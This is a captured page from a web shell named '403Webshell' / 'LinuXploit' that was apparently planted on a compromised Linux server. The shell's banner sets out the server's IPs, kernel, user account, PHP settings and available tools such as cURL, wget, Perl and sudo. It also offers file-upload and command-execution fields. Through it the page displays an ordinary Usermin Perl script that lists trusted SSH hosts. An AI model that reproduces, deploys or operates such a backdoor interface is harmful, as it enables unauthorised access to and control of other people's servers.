403Webshell
Server IP : 104.21.93.65  /  Your IP : 104.23.197.33
Web Server : Apache
System : Linux server.localhost.com 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User : pahana ( 1029)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/usermin/ssh/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/usermin/ssh/list_knowns.cgi
#!/usr/bin/perl
# list_knowns.cgi
# List trusted remote hosts

require './ssh-lib.pl';
&ui_print_header(undef, $text{'knowns_title'}, "");

@links = ( &select_all_link("d"),
	   &select_invert_link("d"),
	   "<a href='edit_known.cgi?new=1'>$text{'knowns_add'}</a>" );

print "$text{'knowns_desc'}<p>\n";

@knowns = &list_knowns();
if (@knowns) {
	print &ui_form_start("delete_knowns.cgi", "post");
	print &ui_links_row(\@links);
	@tds = ( "width=5", undef, "nowrap" );
	print &ui_columns_start([ "",
			 	  $text{'knowns_hosts'},
				  $text{'knowns_type'},
				  $text{'knowns_key'} ], undef, 0, \@tds);
	foreach $k (@knowns) {
		print &ui_checked_columns_row([
			"<a href='edit_known.cgi?idx=$k->{'index'}'>".
		      	  join("&nbsp;|&nbsp;",
			     map { &html_escape($_) } @{$k->{'hosts'}})."</a>",
			&html_escape($k->{'type'}),
			"<tt>".&html_escape(substr($k->{'key'}, 0, 40)).
			" ... ".
			&html_escape(substr($k->{'key'}, -40))."</tt>"
			], \@tds, "d", $k->{'index'});
		}
	print &ui_columns_end();
	print &ui_links_row(\@links);
	print &ui_form_end([ [ "delete", $text{'knowns_delete'} ] ]);
	}
else {
	print "<b>$text{'knowns_none'}</b> <p>\n";
	print &ui_links_row([ $links[2] ]);
	}

&ui_print_footer("", $text{'index_return'});


Youez - 2016 - github.com/yon3zu
LinuXploit